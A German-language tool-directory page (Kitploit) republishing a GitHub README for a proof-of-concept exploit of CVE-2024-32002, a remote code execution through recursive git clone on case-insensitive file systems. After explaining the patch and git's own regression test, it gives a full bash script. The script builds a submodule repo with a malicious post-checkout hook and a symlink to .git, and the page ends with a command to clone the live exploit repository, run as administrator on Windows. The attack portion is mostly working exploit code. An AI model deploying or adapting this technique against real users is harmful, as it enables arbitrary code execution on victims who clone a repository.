Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
Tools/GitHubGitHub/roronoawjd/git_rce
SchwachstellenanalyseExploitationPapers & ForschungLernen & BildungPayload-Entwicklung
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

Repository anzeigen
vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Remote Code Execution Angriff über git clone (CVE-2024-32002)

Mitwirkende

  • 이정우@Roronoawjd

Hintergrundbeschreibung

Diese Schwachstelle ist eine RCE (Remote Code Execution)-Schwachstelle, die beim Klonen eines Git-Repositorys mit Submodulen auf Dateisystemen wie Windows und macOS auftritt, die die Groß-/Kleinschreibung nicht unterscheiden. RCE ist eine Schwachstelle zur Remote-Code-Ausführung, bei der ein Angreifer beliebige Befehle auf dem Zielsystem ausführen kann – eine sehr kritische Schwachstelle. A/modules/x und a/modules/x werden als derselbe Pfad behandelt. Diese Eigenschaft wird zusammen mit symbolischen Links ausgenutzt, um die Schwachstelle auszulösen.

Schwachstelleninformationen

  • Der POC funktioniert nur auf Windows- und macOS-Systemen.
  • Wenn git config --global core.symlinks false gesetzt ist, funktioniert der Angriff nicht.

Schwachstellenanalyse

Patch der Schwachstelle anzeigen

builtin/submodule--helper.c

Die Funktion dir_contains_only_dotgit: Überprüft, ob ein Verzeichnis nur .git-Dateien enthält oder auch andere Verzeichnisse, und gibt einen Fehler zurück, wenn andere Dateien oder Verzeichnisse vorhanden sind. Die Funktion clone_submodule: Überprüft vor dem Klonen, ob das Untermodulverzeichnis existiert und leer ist.

t/t7406-submodule-update.sh

1. Globale Konfiguration

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • Dieses Skript setzt Git-Konfigurationsoptionen. Durch protocol.file.allow always wird das Dateiprotokoll von Git aktiviert.
  • core.symlinks true erlaubt die Verwendung symbolischer Links.
  • tell_tale_path wird verwendet, um zu überprüfen, ob die RCE ordnungsgemäß funktioniert hat.

2. Hook-Einrichtung

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • Initialisiert das Hook-Repository.
  • Erstellt einen Hook namens post-checkout.
  • Committet das Hook-Skript in das Repository.

3. Haupt-Repository einrichten

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • Speichert den Pfad des Hooks.
  • Initialisiert ein weiteres Repository namens captain.
  • Fügt das Hook-Repository als Untermodul unter A/modules/x hinzu und committet.
  • Erstellt einen symbolischen Link a, der auf .git zeigt.

4. Testen

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • Überprüft, ob die RCE funktioniert hat.

POC erstellen

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

Git verfügt über sogenannte Hooks, die automatisch Skripte ausführen, wenn bestimmte Ereignisse eintreten. Diese befinden sich im Verzeichnis .git/hooks. post-checkout ist ein Skript, das nach einem Checkout ausgeführt wird.

image

Die Abfolge ist wie folgt:

  1. Im geklonten Repository git_rce wird ein symbolischer Link a erstellt, der auf .git zeigt.
  2. Beim Klonen wird der Pfad des Untermoduls als a/modules/x statt A/modules/x erkannt.
  3. Da a auf .git zeigt, wird unter .git ein /modules/x erstellt und y/hooks/post-checkout erzeugt.
  4. Nach erfolgreichem Checkout wird automatisch git_rce/.git/modules/x/y/hooks/post-checkout ausgeführt, was zur RCE führt.

POC (Proof of Concept)

⚠️Warnung: Verwenden Sie diese Schwachstelle nicht böswillig!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

Hinweis: Unter Windows muss die Shell (cmd oder bash) mit Administratorrechten geöffnet werden.

Tool herunterladen